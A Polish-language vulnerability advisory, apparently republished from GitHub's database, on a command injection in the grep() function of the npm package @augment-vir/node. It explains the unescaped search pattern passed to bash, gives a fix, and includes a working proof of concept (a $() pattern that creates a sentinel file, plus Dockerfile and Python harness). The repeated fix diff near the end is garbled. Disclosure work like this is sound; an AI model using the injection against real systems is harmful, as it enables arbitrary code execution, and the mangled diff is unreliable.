augment-virShell pozwala na wstrzyknięcie poleceń w `grep()` przez nieoczyszczony `searchPattern`
Wstrzykiwanie poleceń powłoki w grep() przez nieoczyszczony searchPattern
Podsumowanie
Funkcja grep() wyeksportowana przez @augment-vir/node wstawia kontrolowane przez wywołującego wzorce wyszukiwania bezpośrednio do łańcucha poleceń powłoki w cudzysłowach bez oczyszczania (grep.ts:310). Gdy skonstruowane polecenie jest przekazywane do spawn() z opcją shell: 'bash' (shell.ts:98-99), bash interpretuje wyrażenia podstawiania poleceń $() osadzone we wzorcu, co skutkuje wykonaniem dowolnych poleceń systemu operacyjnego jako użytkownik procesu Node.js. Każda aplikacja zależna, która przekazuje niezaufane dane wejściowe do pola pattern lub patterns w grep(), jest podatna na nieuwierzytelnione lokalne (i potencjalnie zdalne) wykonanie kodu. Wynik bazowy CVSS: 7.8 (Wysoki).
Szczegóły
Przyczyna źródłowa: packages/node/src/augments/fs/grep.ts:310 mapuje każdy wzorzec wyszukiwania do fragmentu powłoki -e "${searchPattern}" bez żadnego oczyszczania:
// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
Wynikowy pełny łańcuch polecenia jest przekazywany do runShellCommand (grep.ts:320), które wywołuje streamShellCommand (shell.ts:221-224), a to ostatecznie wywołuje:
// shell.ts:98-99
const childProcess = spawn(command, {
shell, // defaults to 'bash' (shell.ts:92)
Ponieważ shell ma wartość 'bash', bash interpretuje $() wewnątrz wzorca ujętego w podwójne cudzysłowy jako podstawienie polecenia i wykonuje je, zanim grep w ogóle zostanie uruchomiony.
Niekompletne oczyszczanie: Funkcja pomocnicza escape() istnieje w grep.ts:178-180, ale zastępuje jedynie " przez \" i usuwa znaki nowej linii. Jest ona stosowana do excludePatterns, excludeDirs oraz includeFiles (grep.ts:297-308), lecz nie do searchPatterns. Nawet gdyby była zastosowana, uciekanie znaków cudzysłowu nie zapobiega podstawianiu za pomocą $() ani grawisów w kontekście podwójnych cudzysłowów w bashu.
Przepływ danych (źródło → ujście):
| Krok | Lokalizacja | Opis |
|---|---|---|
| 1 | packages/node/src/index.ts:3 |
export * from './augments/fs/grep.js' — udostępnia grep() jako publiczne API npm |
| 2 | packages/node/src/augments/fs/grep.ts:223-226 |
grep() przyjmuje kontrolowane przez wywołującego grepSearchPattern i grepSearchLocation |
| 3 | packages/node/src/augments/fs/grep.ts:228 |
searchPatterns pochodzące z grepSearchPattern.patterns || [grepSearchPattern.pattern] |
| 4 | packages/node/src/augments/fs/grep.ts:269-314 |
fullCommand zbudowane jako zwykły łańcuch powłoki |
| 5 | packages/node/src/augments/fs/grep.ts:310 |
Ujście: searchPattern wstawione jako `-e "${searchPattern}"` — brak uciekania znaków |
| 6 | packages/node/src/augments/fs/grep.ts:320 |
fullCommand przekazane do runShellCommand |
| 7 | packages/node/src/augments/terminal/shell.ts:221-224 |
Przekazane do streamShellCommand |
| 8 | packages/node/src/augments/terminal/shell.ts:98-99 |
spawn(command, { shell: 'bash' }) wykonuje skonstruowany łańcuch polecenia |
Sugerowane rozwiązanie:
--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
- return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+ return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
}
@@
- ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+ ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+ '--',
...searchParts,
Alternatywnie należy zastąpić podejście oparte na łańcuchach poleceń powłoki przez spawn('grep', args, { shell: false }), aby całkowicie zapobiec interpretacji przez powłokę.
PoC
Wymagania wstępne: Docker zainstalowany na hoście. Wszystkie kroki są uruchamiane lokalnie wewnątrz kontenera — bez ekspozycji sieciowej, bez prawdziwych poświadczeń, bez DoS.
Krok 1 — Zbudowanie obrazu Docker:
docker build -t augment-vir-vuln-001-poc \
vuln-001
Krok 2 — Uruchomienie kontenera exploita:
docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc
Główny exploit (exploit.mjs wewnątrz kontenera):
import { grep } from '@augment-vir/node';
await grep(
{ pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
{ file: 'package.json' },
);
Podstawienie powłoki $() we wzorcu sprawia, że bash wykonuje touch /tmp/augment-vir-poc-triggered przed uruchomieniem grep. Plik wskaźnikowy zostaje utworzony, nawet jeśli sam wzorzec grep niczego nie dopasuje w package.json.
Oczekiwany wynik:
[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match
=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})
Minimalna reprodukcja bez użycia Dockera:
mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc
npm init -y
npm install @augment-vir/node@31.73.2
cat > poc.mjs <<'EOF'
import { grep } from '@augment-vir/node';
await grep(
{ pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },
{ file: 'package.json' },
);
EOF
rm -f /tmp/augment-vir-grep-poc
node poc.mjs
test -f /tmp/augment-vir-grep-poc && echo VULNERABLE
Weryfikacja: Zarówno analiza statyczna w Fazie 1, jak i dynamiczna reprodukcja w Fazie 2 potwierdziły podatność. Na standardowym wyjściu (stdout) zaobserwowano VULNERABLE i COMMAND INJECTION CONFIRMED; plik wskaźnikowy /tmp/augment-vir-poc-triggered został utworzony wewnątrz kontenera Docker.
Wpływ
Jest to podatność polegająca na wstrzykiwaniu poleceń systemu operacyjnego (CWE-78). Każda aplikacja, która wywołuje grep() z pakietu @augment-vir/node z danymi wejściowymi kontrolowanymi przez użytkownika w polu pattern lub patterns, jest narażona na wykonanie dowolnego polecenia na koncie użytkownika procesu Node.js.
- Poufność — Wysoka: Atakujący może odczytać dowolne pliki dostępne dla procesu.
- Integralność — Wysoka: Atakujący może zapisywać lub usuwać pliki, instalować złośliwe oprogramowanie lub modyfikować dane aplikacji.
- Dostępność — Wysoka: Atakujący może zamykać procesy lub wyczerpywać zasoby systemowe.
Wektor ataku jest klasyfikowany jako Lokalny (atakujący musi kontrolować wartość przekazywaną do pattern na poziomie API biblioteki). W praktyce zagrożenie eskaluje do poziomu sieciowego, jeśli usługa sieciowa lub API mapuje dowolny ciąg znaków dostarczony przez użytkownika na parametr pattern w grep(). Nie są wymagane żadne uwierzytelnienia ani specjalne uprawnienia; funkcja jest eksportowana z głównego punktu wejścia pakietu i jest domyślnie włączona.
Artefakty reprodukcji
Dockerfile
FROM node:22-slim
# Install grep (required by @augment-vir/node's grep() implementation)
RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*
WORKDIR /poc
# Initialize npm project and install the vulnerable package version
RUN npm init -y && \
npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5
# Create the exploit script that demonstrates command injection via grep()
# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected
# into the shell command string without sanitization, causing $() substitution
# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.
RUN cat > /poc/exploit.mjs << 'EOF'
import { grep } from '@augment-vir/node';
import { existsSync } from 'node:fs';
const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';
// Remove sentinel file if it exists from a previous run
import { rmSync } from 'node:fs';
try { rmSync(SENTINEL_FILE); } catch {}
console.log('[*] Calling grep() with injected $() command substitution pattern...');
console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');
try {
await grep(
{ pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
{ file: 'package.json' },
);
} catch (err) {
// grep() may throw due to no matches — that is expected and irrelevant
console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);
}
if (existsSync(SENTINEL_FILE)) {
console.log('');
console.log('=== VULNERABLE ===');
console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);
console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})');
process.exit(0);
} else {
console.log('');
console.log('=== NOT EXPLOITED ===');
console.log('[-] Sentinel file was NOT created — injection did not fire.');
process.exit(1);
}
EOF
CMD ["node", "/poc/exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Shell Command Injection in @augment-vir/node grep()
CWE-78 — OS Command Injection
Affected version: @augment-vir/node@31.73.2
Root cause:
packages/node/src/augments/fs/grep.ts:310 constructs a shell command string
using unsanitized caller-supplied searchPattern inside double quotes:
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`)
This command string is passed to spawn(command, { shell: 'bash' }), meaning
$() command substitution in the pattern is executed by bash.
Safe usage: This PoC runs entirely inside a local Docker container.
No external network attacks, no real credentials, no DoS.
"""
import subprocess
import sys
import os
import json
IMAGE_NAME = "augment-vir-vuln-001-poc"
CONTAINER_NAME = "augment-vir-vuln-001-run"
DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))
BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}"
RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}"
def run(cmd, **kwargs):
"""Run a shell command and return CompletedProcess."""
print(f"[cmd] {cmd}")
return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)
def main():
print("=" * 60)
print("VULN-001 PoC: Shell Command Injection in grep()")
print("Package: @augment-vir/node@31.73.2")
print("=" * 60)
# Step 1: Build Docker image
print("\n[*] Building Docker image...")
build_result = run(BUILD_CMD, timeout=300)
if build_result.returncode != 0:
print("[!] Docker build FAILED")
print(build_result.stdout[-2000:] if build_result.stdout else "")
print(build_result.stderr[-2000:] if build_result.stderr else "")
write_result(
passed=False,
verdict="FAIL",
reason="Docker 빌드 실패 — npm install 또는 네트워크 오류",
evidence=build_result.stderr[-1000:],
)
sys.exit(1)
print("[+] Docker image built successfully")
# Step 2: Run exploit container
print("\n[*] Running exploit container...")
run_result = run(RUN_CMD, timeout=120)
combined_output = run_result.stdout + run_result.stderr
print(combined_output)
# Step 3: Evaluate result
vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output
if vulnerable:
print("\n[+] PASS — Command injection confirmed inside Docker container")
print("[+] The $() substitution in grep() pattern was executed by bash")
write_result(
passed=True,
verdict="PASS",
reason=(
"Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. "
"sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 "
"'COMMAND INJECTION CONFIRMED' 문자열이 관측됨."
),
evidence=combined_output.strip()[-1500:],
)
sys.exit(0)
else:
print("\n[-] FAIL — exploit did not produce expected output")
write_result(
passed=False,
verdict="FAIL",
reason=(
"컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. "
"sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음."
),
evidence=combined_output.strip()[-1500:],
)
sys.exit(1)
def write_result(passed, verdict, reason, evidence):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": f"python3 {os.path.abspath(__file__)}",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
}
out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json")
with open(out_path, "w", encoding="utf-8") as f:
json.dump(result, f, ensure_ascii=False, indent=2)
print(f"\n[*] Result written to {out_path}")
if __name__ == "__main__":
main()
Co trzeba zrobić
Zaktualizuj @augment-vir/node do wersji 31.73.5 lub nowszej. Alternatywnie zastosuj sugerowane środki zaradcze, takie jak uciekanie znaków podstawiania poleceń (```diff
--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
- return input.replaceAll('"', String.raw
\").replaceAll('\n', ''); +function shellQuote(input: string) {
- return
'${input.replaceAll("'", String.raw''').replaceAll('\n', '')}'; } @@
-
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
-
...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`), -
'--', ...searchParts,
```) lub zastąpienie podejścia opartego na łańcuchach poleceń powłoki za pomocą spawn('grep', args, { shell: false }), aby całkowicie wyeliminować interpretację przez powłokę.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @augment-vir/node | < 31.73.5 | 31.73.5 |
Odnośniki
- https://github.com/electrovir/augment-vir/security/advisories/GHSA-xvcc-vqjv-phqh
- https://nvd.nist.gov/vuln/detail/CVE-2026-63496
- https://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437
- https://github.com/electrovir/augment-vir
- https://github.com/electrovir/augment-vir/releases/tag/v31.73.5
- Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Słabość (CWE)
CWE-78- Platforma
- npm
- Paczka
@augment-vir/node- Ujawniono
- 18.11.2026
- Aktualizacja
- 19.11.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-xvcc-vqjv-phqh - CC BY 4.0
Historia podatności: @augment-vir/node
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
To jedyna znana podatność tej paczki.
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.